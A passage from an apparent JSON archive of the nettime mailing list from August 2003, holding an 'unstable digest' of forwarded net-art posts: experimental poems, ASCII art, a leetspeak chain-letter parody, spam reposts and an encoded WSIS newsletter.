this\nsmart noise, arriving before you seem to arrive, forcing all in your event\nhorizon to seive itself of coordinates, to auto disorient.\n\nyours sincerely,  Patent Nonsense Unlimited\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00007",
                        "date": "Tue, 01 Jul 2003 12:08:36 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200307020433.h624XcL28242 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00007.html",
                        "content-type": "text/plai",
                        "author_name": "S",
                        "subject": "Re: <nettime> unstable digest vol 53"
                    }
                ],
                "message-id": "200307011827.h61IRHc20544 {AT} bbs.thing.net",
                "date": "Tue, 1 Jul 2003 14:56:21 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00062",
                "content": "\n\n\nDate: Tue, 12 Aug 2003 00:53:59 -0400\nFrom: Ryan Whyte <ryan.whyte {AT} UTORONTO.CA>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: the fires (for E. Pauline Johnson)\n\n>From out the west, where tomorrow floats,\nThe broken song swallows its broken notes.\n\n>From out the west, thing return to thing,\nWind feeds with wind in eternal ring.\n\nThe moaning, roaring, sightless fire\nStacks word on word the voiceless pyre.\n\nOver the drumlin and over the wold\nIt begins and translates the edge of the fold,\n\nA dry swift breath of ancient air\nWith spectre's speech and pollens rare;\n\nAnd now a papering of bleaching seas\nThe dry pale pages of sands and trees.\n\nThen over sky and centre, grass and grain,\nThe stirring of clocks, waves on the plain.\n\n\n\nFrom: \u00c6\u00c4\u00bf\u00f6\u00b6\u00f3\u00c0\u00ce <seock75 {AT} powerline.or.kr>\nTo: 7-11 {AT} mail.ljudmila.org\nDate: Thu, 14 Aug 2003 18:02:40 +0900\nSubject: =?iso-8859-1?q?=28=B1=A4=B0=ED=29=B3=AA=B4=C2_=C0=FC?=\n\n[http://www.powerline.or.kr/e-mail/image.jpg]\n _____________________________________________________________________________\n|???___|[name______]__________________________________________________________|\n|???___|[email_________________________]______________________________________|\n|??????|[tel___________________________]______________________________________|\n|?????_|[hp1]_-_[hp2_]_-_[hp3_]_______________________________________________|\n|??____|[One_of:_??/???/???]__________________________________________________|\n|??____|o_?_#?_o?_____________________________________________________________|\n|      |[One of: 2002/2003] ?  [One of: 1?/2?/3?/4?/5?/6?/7?/8?/9?/10?/11?/   |\n|      |12?] ?  [One of: ?/1?/2?/3?/4?/5?/6?/7?/8?/9?/10?/11?/12?/13?/14?/15?/|\n|????? |16?/17?/18?/19?/20?/21?/22?/23?/24?/25?/26?/27?/28?/29?/30?/31?] ?    |\n|      |[One of: 5?/6?/7?/8?/9?/10?/11?/12?/13?/14?/15?/16?/17?/18?/20?/21?/  |\n|______|22?/23?/24?]_?__[One_of:_?/00_?/10_?/20_?/30_?/40_?/50_?]_?_?_________|\n|??????|______________________________________________________________________|\n\n                                     [??]\n                   [http://www.powerline.or.kr/e-mail/1.jpg]\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: THE RECALL ALPHABET (fwd)\nDate: Tue, 12 Aug 2003 17:40:43 -0400 (EDT)\n\n\n\n\n\nTHE RECALL ALPHABET\n   R, W, Q, O, J, M, V, A, H, B, S, G, Z, X, N, T, C, I, E, K, U, P, D,\n   Y, F, L.\n\n\nTHE RECALL ALPHABET\n R, W, Q, O, J, M, V, A, H, B, S, G, Z, X, N, T, C, I, E, K, U, P,\nD,Y, F,\nL.THE ALPHABET\nRECALL THE\nALPHABET\nRECALL\n D,\nR,\nW, R,\nQ, W,\nO, Q,\nJ, O,\nM, J,\nV, M,\nA, V,\nH, A,\nB, H,\nS, B,\nG, S,\nZ, G,\nX, Z,\nN, X,\nT, N,\nC, T,\nI, C,\nE, I,\nK, E,\nU, K,\nP,\nU,\nD,P,\nY,\nF,\nY,\nL.F,\nTHE\nRECALL\nALPHABET\n\n T,\nR, C,\nW, I,\nQ, E,\nO, K,\nJ, U,\nM, P,\nV, D,\nA,\nH, R,\nB, W,\nS, Q,\nG, O,\nZ, J,\nX, M,\nN, V,\nT, A,\nC, H,\nI, B,\nE, S,\nK, G,\nU, Z,\nP,\nX,\nD,N,\nY,\nF,\n\nL.\n\n\n___\n\n\nFrom: www.noemata.net <noemata {AT} kunst.no>\nTo: Anders Moe <balaksium {AT} yahoo.no>, 7-11 <7-11 {AT} mail.ljudmila.org>\nDate: Wed, 13 Aug 2003 02:41:59 +0200\nSubject: =?iso-8859-1?q?=FD?=\n\n\u00fd\n00_weblog\n\n\n}H#########HHHHNN NNNN}NNNNHHN NNHHHH}HHHH} } } } } } \n} H######HHHH HHHHNMMMM}NNNNN HHNNNHH#}HHHH} } } } } } \n} H#H###NNNHHH HNNNNNMM}MMNN NNHHHHNHH}HHHH} } } } } } \n} H#H#HN NNNHHHNNNNNNNM} } } } } } } } \n} MNNNNHH HHHHHHHHH } } } } } } } } }\nNNHHH####HHHHNNN}NN MNNNHHHNNNN}NNMM} } } } } } }\nHH#QUUQQUA U##H}HHNHHHHHHHNNN}NNNM} } } } } } }\nD02%+%2D0A}U QQQ#HHHHHNNN}NNNM} } } } } } }\n .++%}20DAUQ# HHHNNH}HHNM} } } } } } }\n.+%20AQHNNNN}HHNM} } \n\nhttp://www.o-o.lt/asco-o/  http://www.o-o.lt/asco-o - ascii art spam list\nhttp://dictionary.reference.com/search?q=Silly  4 entries found for Silly \n(Dictionary.com w/popups)\nhttp://www.memecentral.com/  http://www.memecentral.com/\nhttp://laetusinpraesens.org/  Anthony Judge - http://www.uia.org/  Union of \nInternational Associations\nhttp://wearcam.org/seatsale/index.htm  SeatSale: License to Sit (Steve \nMann/wearcam, via http://www.efn.no/  EFN)\nhttp://www.nrk.no/nyheter/innenriks/2499052.html  Blitz og 'mangfold' (NRK)\nhttp://www.dagbladet.no/nyheter/2003/01/31/360298.html  S\u00f8tt mediadrama: \nDebuthopp i Holmenkollen (Dagbladet)\nhttp://ark.cdlib.org/ark:/13030/ft3d5nb1n1/  Asceticism and Society in Crisis \n(via http://digital.library.upenn.edu/books/  The Online Books Page)\nhttp://deprogramming.us/  deprogramming.us goofy artware\nhttp://noemata.net/mailart/  Noemata mail art archive\nhttp://www.timesonline.co.uk/printFriendly/0,1-7-557225,00.html  Dawkins: Genes \nwork just like computer software (TimesOnline)\nhttp://www.ras.ucalgary.ca/~gibson/poems/tennyson1.html  The Kraken Poem by \nTennyson\nhttp://king.dom.de/fluxus/  king.dom.de/fluxus - hosting fluxlist, parole, \nAporee, \u00d8therlands, fmwalks\nhttp://www.fna.se/  Flashback News Agency\nhttp://graffiti.no/  Grafitti.no\nhttp://www.nb.no/gallerinor/  S\u00f8kbar norsk fotodatabase (Galleri \nNor/Nasjonalbiblioteket)\nhttp://netartconnexion.net/  Net.Art Connexion - net.art database\nhttp://mind.sourceforge.net/dreams.html  Dreams in Artificial Intelligence<a   \n(http://mind.sourceforge.net/  Mind-1.1)\nhttp://noemata.net/nosce-ips.html  nosce-IPs &graphics. noemata.net:isbn 82-\n92428-03-8\nhttp://www.guardian.co.uk/Print/0,3858,4588768,00.html  Universal truths \n(Guardian)\nhttp://www.philosophers.co.uk/index.htm  The Philosophers Magazine\nhttp://www.guardian.co.uk/online/science/story/0,12450,875198,00.html  Golden \nRatio 1.6180339887... (Guardian)\nhttp://www.pavu.com/RedSeeCrossRoute/  +Red+sEe+croSS+roUTe\n\n______________________________\nArchive - ISBN 82-92428-10-0 :\nhttp://noemata.net/00_weblog/\n\n0xFD\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Thu, 14 Aug 2003 11:28:32 +0300 (EEST)\nFrom: exp {AT} surfeu.fi\nTo: CYBERMIND {AT} listserv.aol.com\nSubject: Re: Fwd: <nettime> what should be in a high school biology text?\n\n + ----- COPY FROM HERE ----- +\n\nDEAR FREINDS\n\nI HAEV JUST RAAD AND SIGN3D DA ONLIEN PETITION\n\n RESPONSIBL3 SCEINCE IN SCEINC3 TEXTBOKS\n\nHOSTED ON TEH WEB BY PATITIONONLIENCOM!!!! OMG TEH FRE ONLIEN PATITION\nSARVIEC AT\n\n HTP/WWP3TITIONONLIENCOM/TEXTBOK/\n\nI1!!!!1!1 OMG PERSONALY AGRE WIT WUT THIS P3TITION SAYS AND I THINK U MIGHT\nAGRE 2!!!1!1 WTF LOL IF U CAN R A MOMANT PLZ TAEK A LOK AND CONSIEDR\nSIGNNG UR!111111! WTF LOL WISHES\n\nJ LEHMUS\n\n + ----- DOWN 2 HER3 ----- +\n + PASTE IN2 UR OWN EMALE & SAND +\n\n\nA NOTE ALONG THOSE LIENS S3NT FROM U 2 UR FREINDS CAN MAEK AN\nASPECIALY EFECTIEV CONTRIBUTION 2 TEH PETITION1!11 LOL A SUCESFUL\nPETITION IS A GRASROTS COLABORATIEV 3FORT AND NOW ITS UR TURN!1!! OMG DA\nPOW3R OF TEH INTERN3T IS IN UR HANDS - SO SPR3AD DA WORD1!!11!!! OMG WTF\n\n\n\nDate: Thu, 14 Aug 2003 16:36:11 -0700\nFrom: Derek R <derekr {AT} DEREKROGERSON.COM>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: utility problem\n\n\nthe street lights are not working\nair-conditioning is not working\nairport screening is not working\nthe airports are not working\nthe elevators were not working\nthe road map (to peace) is not working\nthe railroad is not working\nthe subway is not working\nPresident Taylor is not working\nour education system is not working\nmy mother asks why I'm not working\ntax-cuts are not working\ncell phones are not working\ntornado sirens are not working\ncelebrities want to be left alone when they're not working\nUI will pay you $330/month for not working\nthe government in Sacramento is not working\nwe only have video, the sound's not working\nthe situation is not working\nsecurity's not working\nUS foreign policy is not working\naffirmative action is not working\nwar is not working\nmy msn messenger is not working\nthe television remote control not working\nAIDS Policies are not working\nthis Web site is not working\nthe lines of communication are not working\nthe password is not working\nsomething is not working\nATMs are not working\nthe plumbing's not working\nyou're doing what you're doing and it's still not working\npest control is not working\nnext week he's on vacation and not working\nher lungs are not working\nphoto finish machines are not working\na worm strikes a computer then it's not working\nyour car's not working\nit's not an issue unless it is not working\nthe system's not working\nTerry's complaining his shoulder's not working\nhealthcare is not working\nthe flight data recorder was not working\ndishwashing machine was not working\nthe parole system is not working\nthe tv's not working\nthe radio's not working\nthe gas-pumps are not working\nthe game-plan is not working\nthe experiment's not working\nwhat we have is not working\nthe homeland security warning-system is not working\n13 percent of business-school graduates are not working\nthe automated system is not working\nthe coalition forces are not working\nthe power's not working\nthe electricity is not working\nescalators are not working\nwhat I've been teaching our kids is not working\ncondom dispensing machines are not working\nthe strategy is not working\nthe business model is not working\nretirees are not working\nfree-trade policies are not working\nthere is fear if it's not working\na refrigerator storing portobello mushrooms is not working\nfederal dollars shouldn't be used for things that are not working\nthe earpiece is not working\nmonetary policy is not working\nneighborhood cleanups are not working\nthe 'customer is always right' policy is not working\nparts of the brain that interpret emotion are not working\nBalkan unity is just not working\nthe Davis' strategy is not working\nself-regulation is not working\nthe fire alarms are not working\nprohibition is not working\nyou're joking around too much with the customers and not working\nthe 'let's wait and see' is not working\nstomach implants designed to reject alcohol are not working\nthe refineries are not working\nthe current legislation not working\nemployed people drink more heavily than those not working\nGermany is not working\nthe microphones were not working\ncontrol measures are not working\npolice policing themselves is obviously not working\nthe machines are not working\nmy pager's not working\nyour voice-mail is not working\nI have a great deal of time when I'm not working\nwhen you love what you do you're not working\nwhen he bats left-handed it's not working\nwhen we're not in session we're not working\nyou're less appealing to employers when you're not working\nreform is not working\nthe church is not working\ncapitalism is not working\nthe free market is not working\nno one ever takes responsibility for the damn thing not working\nthe medicine is not working\npeople get restless when they're not working\nI go fishing all the time when I'm not working\nmy double life is not working\nchemotherapy treatments are not working\nthe meter is still not working\nthe effort to combat terrorism is not working\nthe romantic formula is not working\nHilary Duff is a normal 15-year-old girl when she's not working\nthe water is not working\nmy right arm is not working\nthe fax number's not working\nthe protest vote is not working\nappliances are not working\nhalf of those certified as an MCSE are not working\nyou can't stay out of trouble if you are not working\nit seems to me that something is just fundamentally not working\n\n\n\n\n\n\nDate:         Wed, 13 Aug 2003 23:48:37 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Re: THE RECALL ALPHABET\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n...\n\nXXXX XXXX {AT} XXXX1.XXX.XX XXX XXX 13 23:47:34 2003\nXXXX: XXX, 20 XXX 2003 15:56:43 -0300\nXXXX: XXXXX XXXX <XXXX {AT} XXXX1.XXX.XX>\nXXXXX-XX: \"XXXXXXX-X : XXXXXXX XXX XXXXXX XXXXXX XXXXXXXXXXX\"\n    <XXXXXXX-X {AT} XXXXXXXX.XXXXXXXX.XX>\nXX: XXXXXXX-X {AT} XXXXXXXX.XXXXXXXX.XX\nXXXXXXX: XX: XXX XXXXXX XXXXXXXX\n\nXXXXXXXXXXXXXXXXXXXXX!\nXXXXX XX\nXXX\n\n\n\nXX 22:27 12/08/03 -0400, XXX XXXXX:\n>XXXX XXX {AT} XXX.XXX XXX XXX 12 22:26:40 2003\n>XXXX: XXX, 12 XXX 2003 20:28:24 -0500\n>XXXX: XXXXXX XXX <XXX {AT} XXX.XXX>\n>XXXXX-XX: \"XXXXXXX-X : XXXXXXX XXX XXXXXX XXXXXX XXXXXXXXXXX\"\n>     <XXXXXXX-X {AT} XXXXXXXX.XXXXXXXX.XX>\n>XX: XXXXXXX-X {AT} XXXXXXXX.XXXXXXXX.XX\n>XXXXXXX: XX: XXX XXXXXX XXXXXXXX\n>\n>XX XX XXXX XX XXXXXX XXX XXXXX XXXXXXXX?  X'XX XXX X XXX XX XXXXXXX\n>XXXX X.   ~~~\n>\n>\n>XX XXXXXXX, XXXXXX 12, 2003, XX 04:39 XX, XXXX XXXXXXXX XXXXX:\n>\n> > XXX XXXXXX XXXXXXXX\n> >    X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,\n> >    X, X, X.\n> >\n> >\n> > XXX XXXXXX XXXXXXXX\n> >  X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,\n> > X,X, X,\n> > X.XXX XXXXXXXX\n> > XXXXXX XXX\n> > XXXXXXXX\n> > XXXXXX\n> >  X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,\n> > X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,X, X,\n> > X, X, X.X, XXX XXXXXX XXXXXXXX\n> >\n> >  X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,\n> > X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X, X,X, X,\n> > X,\n> >\n> > X.\n> >\n> >\n> > ___\n> >\n\n\n\nDate: Tue, 12 Aug 2003 00:35:49 +0200\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: O p   tio n\n\n\n\n\n                    g r e a t e r p u t\n                                    q u e s t i o n p u t\n                                  a  t p u t\n                                   A  p u t\n                                  B z  u t\n                                     e  p u t\n                                    D r  u t\n                                   E p u  t\n                                      F p  u t\n                                      G  p u  t\n                                     H p  u t\n                                      I p  u t\n                                    J p u t\n                                     K p u t\n                                     L p u t\n                                    M p u t\n                                     N p u t\n\n                                     O p   t\n                                     P p u t\n                                     Q p u t\n                                     R p u t\n                                     S p u t\n                                     T p u\n                                     U p u\n                                    a V\n                                     z\n                                      e\n                                       r\n\n                                         t\n                                          Y\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\nFrom: \"geert lovink\" <geert {AT} xs4all.nl>\nTo: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\nSubject: \nDate: Sat, 16 Aug 2003 09:48:00 +1000\n\nFrom: \"WSIS Executive Secretariat\" <wsis-flash.owner {AT} ties.itu.int>\nTo: \"WSIS eFlash Subscribers\" <wsis-eflash-h-en {AT} ties.itu.int>\nSent: Friday, August 15, 2003 8:15 PM\nSubject: WSIS E-FLASH #7\n\n\nWSIS=20E-FLASH=20#7=0D=0A=0D=0Ahttp://www.itu.int/wsis/newsroom/eflash/2003=\n/august/number7.html=0D=0A=0D=0AUN=20SECRETARY=20GENERAL=20APPOINTS=20SPECI=\nAL=20ADVISER=20FOR=20INFORMATION=20SUMMIT=0D=0AUnited=20Nations=20Secretary=\n-General=20Kofi=20Annan=20has=20appointed=20Mr.=20Nitin=20Desai,=20Under-Se=\ncretary-General=20for=20Economic=20and=20Social=20Affairs,=20as=20his=20Spe=\ncial=20Adviser=20for=20the=20World=20Summit=20on=20the=20Information=20Soci=\nety.=20=0D=0A=0D=0APREPCOM=20PRESIDENT=20AND=20SWISS=20DELEGATION=20MEET=20=\nUN=20SECRETARY-GENERAL=0D=0AAdama=20Samass=E9kou,=20President=20of=20the=20=\nWSIS=20Preparatory=20Committee=20and=20a=20delegation=20from=20the=20Swiss=\n=20Government=20met=20at=20United=20Nations=20Headquarters=20in=20New=20Yor=\nk=20with=20UN=20Secretary=20General=20Kofi=20Annan=20and=20his=20Special=20=\nAdvisor=20for=20the=20Summit,=20Nitin=20Desai.=20The=20meeting=20focused=20=\non=20the=20strategic=20objectives=20to=20be=20achieved=20at=20the=20first=\n=20phase=20of=20the=20Summit=20and=20reinforced=20the=20UN=20commitment=20t=\no=20the=20World=20Summit=20on=20the=20Information=20Society.=0D=0A=0D=0AVIR=\nTUAL=20WSIS=20TAKES=20THE=20SUMMIT=20TO=20THE=20WORLD=0D=0AA=20multimedia=\n=20showcase,=20entitled=20Virtual=20WSIS,=20was=20announced=20at=20the=20In=\ntersessional=20meeting=20in=20Paris.=20Virtual=20WSIS=20consists=20of=20an=\n=20ICT=20project=20showcase,=20as=20well=20as=20a=20web=20cast=20of=20the=\n=20summit=20proceedings.=20It=20will=20feature=20television=20interviews=20=\nfrom=20its=20on-site=20studio,=20and=20-=20via=20web=20cast,=20phone=20and=\n=20satellite=20links=20-=20will=20connect=20to=20ICT=20projects=20and=20par=\ntners=20in=20the=20field.=20=0D=0A=0D=0ADIGITAL=20DIVIDE=20IS=20A=20GENDER=\n=20DIVIDE=0D=0AMore=20than=20100=20participants=20took=20part=20at=20the=20=\nSecond=20Meeting=20of=20the=20ITU=20Working=20Group=20on=20Gender=20Issues=\n=20(WGGI).=20The=20meeting=20focused=20on=20how=20to=20increase=20the=20inv=\nolvement=20of=20women=20in=20the=20WSIS=20process=20and=20the=20inclusion=\n=20of=20a=20gender=20perspective=20in=20the=20Declaration=20of=20Principles=\n=20and=20Action=20Plan.=0D=0A=0D=0ASUMMIT=20PREPARATIONS=20CONTINUE=0D=0ATh=\ne=20Third=20Meeting=20of=20the=20Preparatory=20Committee=20for=20WSIS=20(Pr=\nepCom3),=20Geneva=2015=20-=2026=20September,=20will=20attempt=20to=20finali=\nze=20the=20working=20documents=20for=20the=20Summit.=20The=20latest=20versi=\non=20from=20the=20Paris=20meeting=20of=20the=20draft=20Declaration=20of=20P=\nrinciples=20is=20now=20available=20on=20the=20website.=20The=20revised=20dr=\naft=20Action=20Plan=20will=20be=20on=20the=20website=20as=20of=2023=20Augus=\nt.=20For=20participant=20information=20for=20PrepCom3:=0D=0Ahttp://www.itu.=\nint/wsis/preparatory/prepcom/pc3/index.html=0D=0A=0D=0AEVENTS=0D=0A=0D=0A20=\n=20-=2023=20Aug=202003=0D=0AForum=20on=20ICTs=20and=20Gender:=20Optimizing=\n=20Opportunities,=20Kuala=20Lumpur,=20Malaysia.=20The=20event=20is=20a=20pa=\nrtnership=20of=20ITU,=20UNESCO,=20the=20Government=20of=20Malaysia,=20and=\n=20GKP.=20The=20objective=20is=20to=20identify=20ways=20in=20which=20women=\n=20in=20developing=20countries=20can=20gain=20access=20to=20and=20advantage=\n=20of=20information=20and=20communication=20technologies=20(ICTs)=0D=0A=0D=\n=0A26=20-=2028=20Aug=202003=0D=0ARegional=20Civil=20Society=20Forum=20on=20=\nthe=20Information=20Society=20for=20the=20Middle=20East,=20West=20and=20Cen=\ntral=20Asia,=20Kish=20Island,=20Iran.=20This=20meeting=20is=20organized=20b=\ny=20the=20Iranian=20Civil=20Society=20Organizations=20Resource=20Center.=20=\nThe=20objective=20of=20the=20forum=20will=20be=20to=20prepare=20a=20regiona=\nl=20civil=20society=20action=20plan=20and=20declaration=20for=20ICT=20devel=\nopment=20in=20the=20region.=20=0D=0A=0D=0A27=20-=2029=20Aug=202003=0D=0AWor=\nld=20Information=20Technology=20Forum=20(WITFOR),=20Vilnius,=20Lithuania.=\n=20Organized=20by=20the=20Government=20of=20the=20Republic=20of=20Lithuania=\n=20in=20cooperation=20with=20the=20International=20Federation=20for=20Infor=\nmation=20Processing=20(IFIP),=20UNESCO=20and=20ITU.=0D=0A=0D=0A04=20-=2005=\n=20Sep=202003=0D=0AAIF,=20Ministerial=20Meeting=20of=20La=20Francophonie=20=\non=20WSIS,=20Rabat,=20Morocco.=20The=20conference=20is=20dedicated=20to=20a=\nnalyze=20the=20new=20Information=20and=20Communication=20Technologies.=0D=\n=0A=0D=0A10=20-=2011=20Sep=202003=0D=0AFourth=20Meeting=20of=20the=20Counci=\nl=20Working=20Group=20on=20WSIS,=20Madeira,=20Portugal.=20The=20meeting=20w=\nill=20focus=20on=20how=20the=20ITU=20work=20programme=20contributes=20to=20=\nthe=20fulfillment=20of=20the=20objectives=20outlined=20in=20the=20WSIS=20dr=\naft=20action=20plan.=0D=0A=0D=0A=0D=0AINFORMATION=20SOCIETY=20INITIATIVES=0D\n=\n=0A=0D=0AGLOBAL=20MEDIA=20LEADERS=20TO=20GATHER=20AT=20THE=20SUMMIT=0D=0AA=\n=20landmark=20event=20at=20WSIS=20will=20examine=20the=20role=20of=20the=20=\nmedia=20in=20the=20information=20society=20and=20its=20influence=20on=20glo=\nbal=20issues=20such=20as=20violence=20and=20economic=20development.=20The=\n=20\"World=20Electronic=20Media=20Forum\",=20to=20be=20held=209-11=20December=\n,=20is=20an=20initiative=20of=20the=20United=20Nations=20Department=20of=20=\nPublic=20Information=20(DPI),=20the=20European=20Broadcasting=20Union=20(EB=\nU)=20and=20the=20Government=20of=20Switzerland.=20In=20addition=20to=20a=20=\nglobal=20television=20and=20radio=20broadcast=20of=20the=20event,=20the=20f=\norum=20will=20attract=20media=20leaders=20and=20executives=20to=20a=20serie=\ns=20of=20panels=20and=20workshops=20dealing=20with=20topics=20of=20concern=\n=20to=20the=20media=20such=20as=20freedom=20of=20expression.=0D=0A=0D=0ASCH=\nOOLNET=20TO=20BE=20LAUNCHED=20AT=20WSIS=0D=0AThe=20World=20Summit=20on=20th=\ne=20Information=20Society=20in=20Geneva=20will=20bring=20together=20educato=\nrs=20and=20students=20in=2040=20countries,=20in=20an=20online=20exercise=20=\nto=20examine=20the=20Universal=20Declaration=20of=20Human=20Rights.=20Stude=\nnts=20will=20focus=20on=20Article=2019=20(Freedom=20of=20Expression)=20and=\n=20Article=2026=20(Right=20to=20Education)=20and=20attempt=20to=20redraft=\n=20them=20in=20order=20to=20better=20reflect=20the=20realities=20of=20the=\n=20information=20society.=20The=20event,=20co-organized=20by=20the=20United=\n=20Nations=20Cyberschoolbus=20and=20the=20European=20SchoolNet,=20will=20be=\n=20held=20on=2011=20December,=20the=2055th=20anniversary=20of=20the=20Unive=\nrsal=20Declaration=20of=20Human=20Rights.=0D=0A=0D=0ASHARE=20YOUR=20ICT=20S=\nTORY=20WITH=20THE=20WORLD=0D=0AAn=20ICT=20Story=20Competition,=20Tony=20Zei=\ntoun=20Awards,=20organized=20by=20the=20IICD,=20InfoDev=20and=20GKP,=20is=\n=20open=20for=20your=20submissions=20until=20the=2026th=20of=20September.=\n=20The=20stories=20will=20highlight=20'ICT=20for=20development'=20experienc=\nes.=20The=20winners=20will=20be=20invited=20to=20present=20their=20story=20=\nto=20the=20ICT4D=20Platform=20at=20WSIS.=20For=20more=20information:=0D=0Ah=\nttp://www.iicd.org/stories/=0D=0A=0D=0A=0D=0AINFORMATION=20LINKS=0D=0A=0D=\n=0AITS=20NOT=20TOO=20LATE=20TO=20JOIN=20THE=20ICT4D=20PLATFORM=0D=0AThe=20I=\nCT4D=20Platform,=20organized=20by=20GKP=20and=20the=20Swiss=20Agency=20for=\n=20Development=20and=20Cooperation=20(SDC),=20brings=20together=20ICT=20dev=\nelopment=20specialists,=20case=20study=20examples,=20innovations,=20and=20e=\nxperiences=20from=20around=20the=20world=20in=20a=20multi-stakeholder=20sho=\nwcase=20at=20WSIS.=20For=20reservations,=20please=20click=20here.=0D=0A=0D=\n=0ASDC=20is=20also=20sponsoring=20the=20ICT=20Entrepreneurs4D=20Fund=20for=\n=20small=20and=20medium-sized=20companies=20in=20ICT=20from=20developing=20=\ncountries=20to=20finance=20the=20cost=20for=20the=20surface=20and=20stand=\n=20at=20the=20Exhibition=20as=20well=20as=20travel=20cost=20and=20accommoda=\ntion=20for=201=20representative.=20Deadline=20for=20applictions=20is=2020=\n=20August.=0D=0A=0D=0AOther=20important=20deadlines,=20key=20dates=20and=20=\nevents=20of=20the=20Summit=20process:=0D=0Ahttp:/www.itu.int/wsis/documents=\n/doc_single.asp?lang=3Den&id=3D639=0D=0A=0D=0AContact=20Us:=20=20http://www=\n.itu.int/wsis/contact/index.html=0D=0ASubscribe:=20=20=20http://www.itu.int=\n/wsis/apps/distributionlist/subscribe-start.do?language=3Den=0D=0AUnsubscri=\nbe:=20http://www.itu.int/wsis/apps/distributionlist/unsubscribe-start.do?la=\nnguage=3Den=0D=0A=0D=0A=0D=